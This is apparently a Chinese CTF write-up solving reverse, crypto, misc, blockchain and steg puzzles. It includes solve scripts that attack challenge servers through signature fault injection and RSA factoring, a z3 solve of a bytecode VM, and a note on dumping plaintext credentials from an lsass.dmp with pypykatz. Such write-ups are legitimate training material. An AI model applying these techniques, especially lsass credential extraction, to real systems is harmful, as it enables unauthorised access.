    aes_key_expansion(mode, key, w);

    memcpy(v, iv, sizeof(v));

    /* start data cypher loop over input buffer */
    for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {

        /* init state from user buffer (plaintext) */
        for (j = 0; j < 4 * g_aes_nb[mode]; j++)
            s[j] = data[i + j] ^ v[j];

        /* start AES cypher loop over all AES rounds */
        for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {

            if (nr > 0) {

                /* do SubBytes */
                aes_sub_bytes(mode, s);

                /* do ShiftRows */
                aes_shift_rows(mode, s);

                if (nr < g_aes_rounds[mode]) {
                    /* do MixColumns */
                    aes_mix_columns(mode, s);
                }
            }

            /* do AddRoundKey */
            aes_add_round_key(mode, s, w, nr);
        }

        /* save state (cypher) to user buffer */
        for (j = 0; j < 4 * g_aes_nb[mode]; j++)
            data[i + j] = v[j] = s[j];
    }

    return 0;
}
/****************************************************************************************************************/
void inv_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
    uint8_t *s = (uint8_t *)state;
    int i, j, r;

    for (i = 1; i < g_aes_nb[mode]; i++) {
        for (j = 0; j < g_aes_nb[mode] - i; j++) {
            uint8_t tmp = s[i];
            for (r = 0; r < g_aes_nb[mode]; r++) {
                s[i + r * 4] = s[i + (r + 1) * 4];
            }
            s[i + (g_aes_nb[mode] - 1) * 4] = tmp;
        }
    }
}
/****************************************************************************************************************/
uint8_t inv_sub_sbox(uint8_t val)
{
    return g_inv_sbox[val];
}
/****************************************************************************************************************/
void inv_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
    int i, j;

    for (i = 0; i < g_aes_nb[mode]; i++) {
        for (j = 0; j < 4; j++) {
            state[i * 4 + j] = inv_sub_sbox(state[i * 4 + j]);
        }
    }
}
/****************************************************************************************************************/
void inv_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
    uint8_t y[16] = { 0x0e, 0x0b, 0x0d, 0x09,  0x09, 0x0e, 0x0b, 0x0d,
        0x0d, 0x09, 0x0e, 0x0b,  0x0b, 0x0d, 0x09, 0x0e };
    uint8_t s[4];
    int i, j, r;

    for (i = 0; i < g_aes_nb[mode]; i++) {
        for (r = 0; r < 4; r++) {
            s[r] = 0;
            for (j = 0; j < 4; j++) {
                s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
            }
        }
        for (r = 0; r < 4; r++) {
            state[i * 4 + r] = s[r];
        }
    }
}
/****************************************************************************************************************/
int aes_decrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
    uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
    uint8_t s[4 * 4] = { 0 }; /* state */

    int nr, i, j;

    /* key expansion */
    aes_key_expansion(mode, key, w);

    /* start data cypher loop over input buffer */
    for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {

        /* init state from user buffer (cyphertext) */
        for (j = 0; j < 4 * g_aes_nb[mode]; j++)
            s[j] = data[i + j];

        /* start AES cypher loop over all AES rounds */
        for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {

            /* do AddRoundKey */
            aes_add_round_key(mode, s, w, nr);

            if (nr > 0) {

                if (nr < g_aes_rounds[mode]) {
                    /* do MixColumns */
                    inv_mix_columns(mode, s);
                }

                /* do ShiftRows */
                inv_shift_rows(mode, s);

                /* do SubBytes */
                inv_sub_bytes(mode, s);
            }
        }

        /* save state (cypher) to user buffer */
        for (j = 0; j < 4 * g_aes_nb[mode]; j++)
            data[i + j] = s[j];
    }

    return 0;
}
/****************************************************************************************************************/
int aes_decrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
    return aes_decrypt(mode, data, len, key);
}
/****************************************************************************************************************/
int aes_decrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv)
{
    uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
    uint8_t s[4 * 4] = { 0 }; /* state */
    uint8_t v[4 * 4] = { 0 }; /* iv */

    int nr, i, j;

    /* key expansion */
    aes_key_expansion(mode, key, w);

    memcpy(v, iv, sizeof(v));

    /* start data cypher loop over input buffer */
    for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {

        /* init state from user buffer (cyphertext) */
        for (j = 0; j < 4 * g_aes_nb[mode]; j++)
            s[j] = data[i + j];

        /* start AES cypher loop over all AES rounds */
        for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {

            /* do AddRoundKey */
            aes_add_round_key(mode, s, w, nr);

            if (nr > 0) {

                if (nr < g_aes_rounds[mode]) {
                    /* do MixColumns */
                    inv_mix_columns(mode, s);
                }

                /* do ShiftRows */
                inv_shift_rows(mode, s);

                /* do SubBytes */
                inv_sub_bytes(mode, s);
            }
        }

        /* save state (cypher) to user buffer */
        for (j = 0; j < 4 * g_aes_nb[mode]; j++) {
            uint8_t p = s[j] ^ v[j];
            v[j] = data[i + j];
            data[i + j] = p;
        }
    }

    return 0;
}
/****************************************************************************************************************/
void aes_cypher_128_test()
{
#if 1
    uint8_t buf[] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
        0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff };
    uint8_t key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
        0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
#else
    uint8_t buf[] = { 0x32, 0x43, 0xf6, 0xa8, 0x88, 0x5a, 0x30, 0x8d,
        0x31, 0x31, 0x98, 0xa2, 0xe0, 0x37, 0x07, 0x34 };
    uint8_t key[] = { 0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6,
        0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c };
#endif

    aes_encrypt(AES_CYPHER_128, buf, sizeof(buf), key);

    aes_decrypt(AES_CYPHER_128, buf, sizeof(buf), key);
}
/****************************************************************************************************************/
void aes_cypher_192_test()
{
    uint8_t buf[] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
        0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff };
    uint8_t key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
        0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
        0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17 };

    aes_encrypt(AES_CYPHER_192, buf, sizeof(buf), key);

    aes_decrypt(AES_CYPHER_192, buf, sizeof(buf), key);
}
/****************************************************************************************************************/
void aes_cypher_256_test()
{
    uint8_t buf[] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
        0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff };
    uint8_t key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
        0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
        0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
        0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f };

    aes_encrypt(AES_CYPHER_256, buf, sizeof(buf), key);

    aes_decrypt(AES_CYPHER_256, buf, sizeof(buf), key);
}
/****************************************************************************************************************/
void main()
{
    //数据
    uint8_t buf[] = { 0x2b,0xc8,0x20,0x8b,0x5c,0x0d,0xa7,0x9b,0x2a,0x51,0x3a,0xd2,0x71,0x71,0xca,0x50 };
    //密钥
    uint8_t key[] = { 0x52,0x65,0x5f,0x31,0x73,0x5f,0x65,0x61,0x53,0x79,0x31,0x32,0x33,0x34,0x35,0x36 };
    //uint8_t key[] = { 0x52,0x65,0x5f,0x31,0x73,0x5f,0x65,0x61,0x53,0x79,0x31,0x32,0x33,0x34,0x35,0x36 };
    //向量
    uint8_t iv[] = {0x31, 0x5F, 0x65, 0x52, 0x61, 0x65, 0x5F, 0x73, 0x32, 0x31, 0x79, 0x53, 0x36, 0x35, 0x34, 0x33};
    switch (sizeof(key))
    {
    //ECB
    
    case 16:aes_decrypt(AES_CYPHER_128, buf, sizeof(buf), key); break;
    case 24:aes_decrypt(AES_CYPHER_192, buf, sizeof(buf), key); break;
    case 32:aes_decrypt(AES_CYPHER_256, buf, sizeof(buf), key); break;
    //CBC
    /*
    case 16:aes_decrypt_cbc(AES_CYPHER_128, buf, sizeof(buf), key, iv); break;
    case 24:aes_decrypt_cbc(AES_CYPHER_192, buf, sizeof(buf), key, iv); break;
    case 32:aes_decrypt_cbc(AES_CYPHER_256, buf, sizeof(buf), key, iv); break;
    */
    }
    for (int i = 0; i < sizeof(buf); i++)
    {
        printf("%x", buf[i] & 0xFF);
    }
    printf("\n");
    return;
}

拼一块就是flag

RightBack

很恶心的字节码很长,大致逻辑是这样的

import struct

T = lambda: 1
p1 = lambda: 2
p2 = lambda: 3
p3 = lambda: 4
F1 = lambda: 5
F2 = lambda: 6
F3 = lambda: 7
F4 = lambda: 8
F5 = lambda: 9
F6 = lambda: 10
F7 = lambda: 11
F8 = lambda: 12
F9 = lambda: 13
FA = lambda: 14
FB = lambda: 15
WC = lambda: 16
VM = lambda: 17
Have = lambda: 18
Fun = lambda: 19

if __name__ == '__main__':
    REG = {}
    EIP = 0
    reg_table = {'EAX': ('1', '2', '3', '4', '5', '6', '7')}
    Sbox = [
    (82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125)
]

    Rcon = [
        16777216, 33554432, 67108864, 134217728, 268435456, 536870912, 1073741824, 0x80000000L, 452984832, 905969664
    ]

    s = []

    key = 'CalmDownBelieveU'
    s = p1(s, key)#key初始化
    key = [61, 15, 58, 65, 177, 180, 182, 248, 192, 143, 37, 238, 50, 29, 215, 190]
    s.extend(key)
    key = bytes(p3(s, key))
    key = p2(bytes(key))
    extendKey = key
    opcode = []
    s.extend([69, 136, 121, 24, 179, 67, 209, 20, 27, 169, 205, 146, 212, 160, 124, 49, 20, 155, 157, 253, 52, 71, 174, 164, 134, 60, 184, 203, 131, 210, 57, 151, 77, 241, 61, 6, 13, 52, 235, 37, 100, 178, 8, 238, 205, 27, 194, 159, 230, 165, 211, 221, 100, 217, 111, 202, 185, 207, 226, 50, 88, 4, 58, 73, 10, 92, 24, 230, 246, 245, 21, 110, 182, 151, 85, 28, 181, 191, 185, 236, 92, 98, 222, 85, 228, 14, 235, 93, 77, 161, 61, 140, 222, 74, 124, 13, 211, 75, 134, 235, 164, 228, 235, 16, 29, 41, 49, 105, 188, 51, 232, 65, 209, 165, 35, 182, 248, 245, 69, 18, 152, 71, 223, 85, 114])
    p3_result = p3(s, FB())
    right = Have()
    back = Fun(right)
    data1 = [228, 244, 207, 251, 194, 124, 252, 61, 198, 145, 97, 98, 89, 25, 92, 208, 155, 38, 34, 225, 98, 206, 234, 245, 223, 54, 214, 137, 35, 86, 180, 66, 223, 234, 90, 136, 5, 189, 166, 117, 111, 222, 39, 156, 163, 173, 36, 174, 47, 144, 15, 160, 45, 239, 211, 11, 190, 181, 24, 164, 234, 114, 174, 27]
    data1 = bytes(p3(s, data1))
    data2 = [165, 83, 203, 51, 99, 164, 30, 91, 230, 64, 181, 55, 190, 47, 125, 240, 186, 173, 116, 47, 89, 64, 68, 215, 124, 138, 34, 175, 60, 136, 77, 216, 250, 127, 14, 14, 66, 168, 198, 247, 252, 189, 243, 239, 25, 63, 143, 7, 177, 13, 99, 226, 100, 6, 207, 77, 46, 136, 251, 123, 225, 27, 76, 183]
    data2 = bytes(p3(s, data2))
    data3 = [95, 219, 46, 178, 111, 141, 17, 168, 254, 60, 68, 59, 41, 183, 182, 118, 3, 47, 150, 240, 140, 159, 110, 238]
    data3 = bytes(p3(s, data3))
    if data2 == back:
        print(data1.decode())
    else:
        print(data3.decode())

p1是rc4对key的初始化,初始化出sbox,p2是一个异或,p3是rc4的加密,每次调用会改sbox,Have函数是一个打印字符串和获取输入,输入长度为64位,然后传到Fun里,Fun这个加密有点逆天

def Fun(right):
    back = b''
    
    if len(right) != 64:
        print(None + len('XD'))
        print()
    
    for i in range(len(right) // 8):
        part1 = struct.unpack('>I', right[i*8 : i*8+4])[0]
        part2 = struct.unpack('>I', right[i*8+4 : i*8+8])[0]
        
        if part1 != 0:
            part1 ^= struct.unpack('>I', back[i*8-8 : i*8-4])[0]
            part2 ^= struct.unpack('>I', back[i*8-4 : i*8])[0]
        
        vm(part1part2)
        back += struct.pack('>I', struct.unpack('>I', struct.pack('>I', part1) + struct.pack('>I', part2))[0] + struct.unpack('>I', struct.pack('>I', part1) + struct.pack('>I', part2))[0])
    
    return back

最后发现,其实可以修的,只需要用pyspy nop一下invaild即可,虚拟机那一块没有多少花指令,所以修完只有VM函数有点问题:

def F1(part1, part2):
    global REG
    # REG = {'EAX':0, 'EBX':0, 'ECX':0, 'EDX':0, 'R8':0, 'CNT':0, 'EIP':0}
    reg_table = {
        '1': 'EAX',
        '2': 'EBX',
        '3': 'ECX',
        '4': 'EDX',
        '5': 'R8',
        '6': 'CNT',
        '7': 'EIP' }
    REG['ECX'] = 0
    REG['EDX'] = 0
    REG['E8'] = 0
    REG['CNT'] = 0
    REG['EIP'] = 0
    REG['EAX'] = part1
    REG['EBX'] = part2
opcode = [7, 153, 255]

def F2(v1, v2, v3):
    global REG, reg_table
    if v1 == 1:
        REG[reg_table[str(v2)]] = extendKey[REG[reg_table[str(v3)]]]
    elif v1 == 2 :
        REG[reg_table[str(v2)]] = REG[reg_table[str(v3)]]
    elif v1 == 3:
        REG[reg_table[str(v2)]] = v3
    REG['EIP'] += 4
    
def F3(v1, v2, v3):
    if v1 == 1:
        REG[reg_table[str(v2)]] = (REG[reg_table[str(v2)]] + extendKey[REG[reg_table[str(v3)]]]) & 0xffffffff
    elif v1 == 2:
        REG[reg_table[str(v2)]] = (REG[reg_table[str(v2)]] + REG[reg_table[str(v3)]]) & 0xffffffff
    elif v1 == 3:
        REG[reg_table[str(v2)]] = (REG[reg_table[str(v2)]] + v3)
    REG['EIP'] += 4

def F4(v1, v2):
    REG[reg_table[str(v1)]] ^= REG[reg_table[str(v2)]]
    REG['EIP'] += 3

def F5(v1, v2):
    REG[reg_table[str(v1)]] &= v2
    REG['EIP'] += 3
    
def F6(v1, v2, v3):
    if v1 == 1:
        REG[reg_table[str(v2)]] -= extendKey[v3]
    elif v1 == 2:
        REG[reg_table[str(v2)]] -= REG[reg_table[str(v3)]]
    elif v1 == 3:
        REG[reg_table[str(v2)]] -= v3
    REG['EIP'] += 4

def F7(v1, v2):
    REG[reg_table[str(v1)]] |= REG[reg_table[str(v2)]]
    REG['EIP'] += 3
    
def F8(v1, v2):
    REG[reg_table[str(v1)]] = (REG[reg_table[str(v1)]] >> REG[reg_table[str(v2)]])&0xffffffff
    REG['EIP'] += 3
    
def F9(v1, v2):
    REG[reg_table[str(v1)]] = (REG[reg_table[str(v1)]] << REG[reg_table[str(v2)]])&0xffffffff
    REG['EIP'] += 3
    
def FA(v1, v2, v3):
    if v1 == 1:
        REG[reg_table[str(v2)]] *= extendKey[v3]
    elif v1 == 2:
        REG[reg_table[str(v2)]] *= REG[reg_table[str(v3)]]
    elif v1 == 3:
        REG[reg_table[str(v2)]] *= v3
    REG['EIP'] += 4
    
def FB():
    REG['R8'] = (REG['CNT'] == 21)
    REG['EIP'] += 1

def WC():
    if REG['R8']:
        REG['EIP'] += 1
    else:
        REG['EIP'] = 16

def VM(part1, part2):
    F1(part1, part2)
    EIP = REG['EIP']
    if opcode[EIP] == 80:
        F2(opcode[EIP+1], opcode[EIP+2], opcode[EIP+3])
    elif opcode == 29:
        F3(opcode[EIP+1], opcode[EIP+2], opcode[EIP+3])
    elif opcode == 113:
        F4(opcode[EIP+1], opcode[EIP+2])
    elif opcode == 114:
        F5(opcode[EIP+1], opcode[EIP+2])
    elif opcode == 150:
        F6(opcode[EIP+1], opcode[EIP+2], opcode[EIP+3])
    elif opcode == 87:
        F7(opcode[EIP+1], opcode[EIP+2])
    elif opcode == 116:
        F8(opcode[EIP+1], opcode[EIP+2])
    elif opcode == 41:
        F9(opcode[EIP+1], opcode[EIP+2])
    elif opcode == 220:
        FA(opcode[EIP+1], opcode[EIP+2], opcode[EIP+3])
    elif opcode == 7:
        FB()
    elif opcode == 153:
        WC()

加密流程:vm和异或

data = [0x43af236,
0x56b19afc,
0xf71e21dc,
0xdb8f8e94,
0x4d34e79d,
0x9c520c6e,
0xfbfad5fd,
0x32f9782c,
0xbbbe39c1,
0xd98575b6,
0x28f8cc78,
0xa4e48592,
0xebd72c5,
0xaf87912a,
0x8bf1ef96,
0x1660d112]
from z3 import*
s=Solver()
flag = [BitVec("flag%d" % i,64) for i in range(2)]
#flag[0] ^= data[12]
#flag[1] ^= data[13]
extendKey = [1835819331, 1853321028, 1768711490, 1432712805, 2177920767, 4020699579, 2261476601, 3551400604, 711874531, 3318306392, 1124217505, 2427199549, 3099853672, 2098025776, 1041196945, 2929936300, 246748610, 1941455090, 1303848803, 3809763535, 1395557789, 546751855, 1830937100, 2385871555, 2516030638, 3043054017, 3628118989, 1450520846, 1825094265, 3651791800, 32069749, 1469868411, 919887482, 4017993154, 4002737591, 3104343244, 4134211933, 420914335, 4152510760, 1317719524, 1990496755, 1873950060, 2553314372, 3602559392]
ecx = 0
flag[0] = (flag[0] + extendKey[ecx]) & 0xffffffff
ecx = 1
flag[1] = (flag[1] + extendKey[ecx]) & 0xffffffff
cnt = 0
r8 = 0
edx = 0
#cmp = [0x43af236, 0x56b19afc,0xf71e21dc, 0xdb8f8e94,0x4d34e79d, 0x9c520c6e,0xfbfad5fd, 0x32f9782c,0xbbbe39c1, 0xd98575b6,0x28f8cc78, 0xa4e48592,0xebd72c5, 0xaf87912a,0x8bf1ef96, 0x1660d112]

while(cnt < 21):
    cnt += 1
    flag[0] ^= flag[1]
    ecx = flag[0]
    r8 = flag[1]
    flag[1] &= 31
    flag[0] = (flag[0] << flag[1])&0xffffffff
    edx = 32
    edx -= flag[1]
    ecx = (ecx >> edx)&0xffffffff
    flag[0] |= ecx&0xffffffff
    flag[1] = cnt
    flag[1] *= 2
    ecx = extendKey[flag[1]]
    flag[0] = (flag[0] + ecx) & 0xffffffff
    flag[1] = r8
    flag[1] ^= flag[0]
    ecx = flag[1]
    edx = flag[0]
    edx &= 31
    flag[1] = (flag[1] << edx)&0xffffffff
    r8 = 32
    r8 -= edx
    ecx = (ecx >> r8)&0xffffffff
    flag[1] |= ecx&0xffffffff
    ecx = cnt
    ecx *= 2
    ecx = (ecx + 1)
    edx = extendKey[ecx]
    flag[1] = (flag[1] + edx) & 0xffffffff
s.add(flag[1] & 0xffffffff == 0x56b19afc)#第一组的第一个
s.add(flag[0] & 0xffffffff == 0x43af236)#第一组的第二个
if s.check() == sat:
    m = s.model()
    print(m)
#print(v5)
from Crypto.Util.number import long_to_bytes
#[flag0 = 1464681300, flag1 = 1182484272]
#[flag0 = 811877750, flag1 = 862873966]
#[flag0 = 1730238768, flag1 = 1967223397]
#[flag0 = 1098343795, flag1 = 812462881]
#[flag0 = 559049063, flag1 = 1752449633]
#[flag0 = 1667974770, flag1 = 1869431345]
#[flag0 = 1633905485, flag1 = 829583920]
#[flag0 = 1914787663, flag1 = 1461789053]
flag_f = [1464681300,1182484272,811877750,862873966,1730238768,1967223397,1098343795,812462881,559049063,1752449633,1667974770,1869431345,1633905485,829583920,1914787663,1461789053]
for i in range(len(flag_f)):
    print(long_to_bytes(flag_f[i]).decode(),end="")

Cry

signin

先是一个跟DASCTF七月赛的一个p^q泄露,剪枝爆破一下就行。

后面是一个简单的hnp问题。

r=(b*s)%2^16

$$b_is-r_i=k_i2^{16}\mod p\ b_is2^{-16}-r_i*2^{-16}=k_i\mod p$$

k是一个496bits,满足hnp

welcomesigner2

myfastexp的函数效果如下

$$先逆向处理d,根据参数j左右分成dl,dr.\ f(j)=(m^{re(dl)} mod n)*(B_{l-j-1}^{re(dr)}\mod n_)\mod n_$$

其中B数组可以直接算出

从左往右,如果对应位数为0,那么上面式子的左半部分大小不变,以此来构建等式,逐位得到dr

Exp

# -*- coding utf-8 -*-
# @Time : 2023/8/19 18:04
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import md5
from pwn import *
# context.log_level='debug'

msg = bytes_to_long(b"Welcome_come_to_WMCTF")
while 1:
    io=remote('1.13.101.243',28412)
    io.recvuntil(b'|\t[Q]uit\n')
    io.sendline(b'g')
    io.recvuntil(b'| n = ')
    n=int(io.recvuntil(b'\n',drop=True))
    D='1'
    l=1023
    io.recvuntil(b'flag_ciphertext = ')
    flag=io.recvuntil(b'\n',drop=True)
    print(flag)
    io.sendline(b'f')
    io.recvuntil(b'bytes, and index:')
    io.sendline(b'2,2')
    io.recvuntil(b'| [+] update: n_ -> "')
    n_=int(io.recvuntil(b'"\n',drop=True))

for i in range(1,1023):
    io.recvuntil(b'|\t[Q]uit\n')
    io.sendline(b's')
    io.recvuntil(b'Where your want to interfere:')
    io.sendline(str(i).encode())
    io.recvuntil(b' is ')
    sig1=int(io.recvuntil(b'\n',drop=True))
    t1=sig1*inverse(pow(B[l-i-1],2*int(D,2),n_),n_) %n_
    io.recvuntil(b'|\t[Q]uit\n')
    io.sendline(b's')
    io.recvuntil(b'Where your want to interfere:')
    io.sendline(str(i+1).encode())
    io.recvuntil(b' is ')
    sig2=int(io.recvuntil(b'\n',drop=True))
    t2=sig2*inverse(pow(B[l-i-2],4*int(D,2),n_),n_) %n_
    if t1==t2:
        D+='0'
    else:
        D+='1'
    if '111111111111111' in D:
        break
if len(D)>=1020:
    print(D)
    break

得到密文和d来解密

import hashlib

from Crypto.Cipher import AES
from Crypto.Util.number import *
c=bytes.fromhex('2e8afbc4419284fb733a20c7e932feadae5deeb39f0e1d01c57c8109c08eb2020d48616c59d50d1a029a08b7673c9f71')
c2=bytes.fromhex('329a89386fb65ccfd11a7c64349f1d45850a92e7f2e766da0fb07ddb64b0386ce11d7e7803fd4953023deeadf54ad7f7')
key1=
key2=
key = bytes.fromhex(hashlib.md5(str(key1).encode()).hexdigest())
enc = AES.new(key,mode=AES.MODE_ECB)
flag = enc.decrypt(c)
print(flag)
key = bytes.fromhex(hashlib.md5(str(key2).encode()).hexdigest())
enc = AES.new(key,mode=AES.MODE_ECB)
flag = enc.decrypt(c2)
print(flag)

welcomesigner1

myfastexp的函数效果如下

$$先对d的二进制逆向,根据参数j左右分成dl,dr.\\ f(j)=((m^{dl} mod n) <

从左往右,如果对应位数为0,那么上面式子的右半部分大小不变,以此来构建等式,得到dl

exp参考上题,关键不同代码

for i in range(l-1,0,-1):
    temp=pow(msg,int(D,2),n)
    temp1=pow(temp,2**i,n_)
    temp=pow(msg,2*int(D,2),n)
    temp2=pow(temp,2**(i-1),n_)
    io.recvuntil(b'|\t[Q]uit\n')
    io.sendline(b's')
    io.recvuntil(b'Where your want to interfere:')
    io.sendline(str(i).encode())
    io.recvuntil(b' is ')
    sig1=int(io.recvuntil(b'\n',drop=True))
    t1=sig1*inverse(temp1,n_) %n_
    # print(sig1)
    io.recvuntil(b'|\t[Q]uit\n')
    io.sendline(b's')
    io.recvuntil(b'Where your want to interfere:')
    io.sendline(str(i-1).encode())
    io.recvuntil(b' is ')
    sig2=int(io.recvuntil(b'\n',drop=True))
    t2=sig2*inverse(temp2,n_) %n_
    if t1==t2:
        D+='0'
    else:
        D+='1'
    if '11111111111' in D:
        break
print(D)
if len(D)>=1020:
    print(D)
    break

badprime

简单的签到

from Crypto.Util.number import *
n=20825489698123139427312358235813908831188122629431837435213939197307901251678987909266109959310844471468714237308180487290333889068491106503430156516177566599988193609000565728122172493368572776286199729640176084529179529033159071165889815084949956152007234471933649343743634072356673587613258974082953565848240177717357720918379799092214471736935314356967352460495832597042553425146329955254971272296130376832214081900624023878189763660242551943370962708281677737787426223857022204965043738543727228525935167205033424509100484602367650848918269719924270083733713912562266880394295051276242510789648948740514338324777
c=17660292517001448415667382933294147092092405515035599241974878300112871854442062464511060994610735354900137641722708614729686565533897576482184144279181475147778387677176348272271380462469442504169069741393441249336244403644195456048895432327953609790997136317418079743539554372864800226725666330693057526593982562626092666413078781481473963123259351557468951203872280649962451021987453492400869965374621346616866098360220974826366437663499045468100705032192923936739527164839478419438533067729191594895444595242468993294280095495595676751833319662172716427810323452481625334318690581815970642174149961644882435761028
leak=3692928803159612385082176945507830185837247431720458675036856767821980549084041505438940558901970003265562780917014304168473747961208711410251658081541741851950617445754508576247765571585451448623373615544180432133708851940192670177786710978705748899533781421711820301844113328851132313516583
M=0x7cda79f57f60a9b65478052f383ad7dadb714b4f4ac069997c7ff23d34d075fca08fdf20f95fbc5f0a981d65c3a3ee7ff74d769da52e948d6b0270dd736ef61fa99a54f80fb22091b055885dc22b9f17562778dfb2aeac87f51de339f71731d207c0af3244d35129feba028a48402247f4ba1d2b6d0755baff6
PR.<x> = PolynomialRing(Zmod(n))
f=x*M+leak
f.monic().small_roots(X=2^53,beta=0.44)
p=6960192004016795*M+leak
q=n//p
assert p*q==n
d=inverse(65537,(p-1)*(q-1))
long_to_bytes(ZZ(pow(c,d,n)))

Misc

Oversharing

pcap data 发现 smb sharing 的 lsass.dmp 文件

pypykatz 分析后得到明文密码和用户名

1a05cf83-e450-4fbf-a2a8-b9fd2bd37d4e

randark

ssh randark@1.13.101.243 -p25771

链接上去后直接 cat flag 即可

FindMe

我的朋友WearyMeadow几天前在Reddit发了一条动态,他认为没有人能破解他的消息,真的吗? My friend WearyMeadow posted a Reddit post a few days ago and he doesn’t think anyone can decrypt his message. Really?

https://wearymeadow.icu/about/

存在一个被加密的推文 根据生成时间判断相似 以及文章标题和 reddit 一致,密码是P@sSW0rD123$%^

https://www.reddit.com/user/WearyMeadow/comments/15u7773/hello/ –> aHR0cHM6Ly91ZmlsZS5pby82NzB1bnN6cA== –>

https://ufile.io/670unszp

解出来 message.pcap 文件 流量分析基本情况是 存在一个 tcp 聊天 并且 secretkey 是 mysecretkey (?)

import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes

def decrypt(message, key, seed):
    random.seed(seed)
    encrypted_msg = message
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted_msg = cipher.decrypt(pad(encrypted_msg))
    decrypted = b''
    for i in range(len(decrypted_msg)):
        decrypted += bytes([decrypted_msg[i] ^ random.randint(0, 255)])
    return decrypted

encrypted_hex = "778f6cc13090c6a4f0b51939d784a6b38512f80a92b82bf8225fb8bfed713b2f8eee53dfbe228c7296449d904467a1677c83b9534e2dfcfcbc6f7b08f77f96f2"
encrypted = long_to_bytes(int(encrypted_hex, 16))
print(encrypted)

for seed in range(12345):
    decrypted_int = int(decrypt(encrypted, pad(b"mysecretkey"), seed).hex(), 16)
    if b'CTF{' in long_to_bytes(decrypted_int) or b'ctf{' in long_to_bytes(decrypted_int):
        print(seed, long_to_bytes(decrypted_int))
        break

Fantastic_terminal

img

Blockchain

babyblock

签到题,根据合约creation交易找到timestamp即可。

import { ethers } from "hardhat";
import { ChallengeWM23__factory, ChallengeWM23 } from "../../typechain";
import { log, initialize } from "../utils";

async function main() {
    let tx = "0xcb2d1f40783046b623e39312267ad91ecf40ee338fb1631c2526c96af7f7e3b2";
    let contractAddress = "0xCe8B517e34f7b5C95Dfc16931fC0eC5E41796327";
    let [challengeContract, attacker] = await initialize<ChallengeWM23>(ChallengeWM23__factory, undefined, undefined, undefined, contractAddress);
    
    let blockHash = (await ethers.provider.getTransaction(tx))?.blockHash;
    if (blockHash) {
        let block = await ethers.provider.getBlock(blockHash);
        let timestamp = block?.timestamp;
        if (timestamp) {
            let number = timestamp % 10 +1;
            let tx = await challengeContract.guessNumber(number);
            await tx.wait();
            log(`Is Solved: ${await challengeContract.isSolved()}`);
        }
    }
    
}

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Steg

EZ_v1deo

使用windows的播放器没办法播放,可以使用其他播放器进行播放即可正常查看视频

img

这里查看并无异常,然后尝试AVI隐写

img

avi隐写可以讲信息隐藏在某一帧的图片中,使用ffmpeg转换出每一帧进行查看lsb

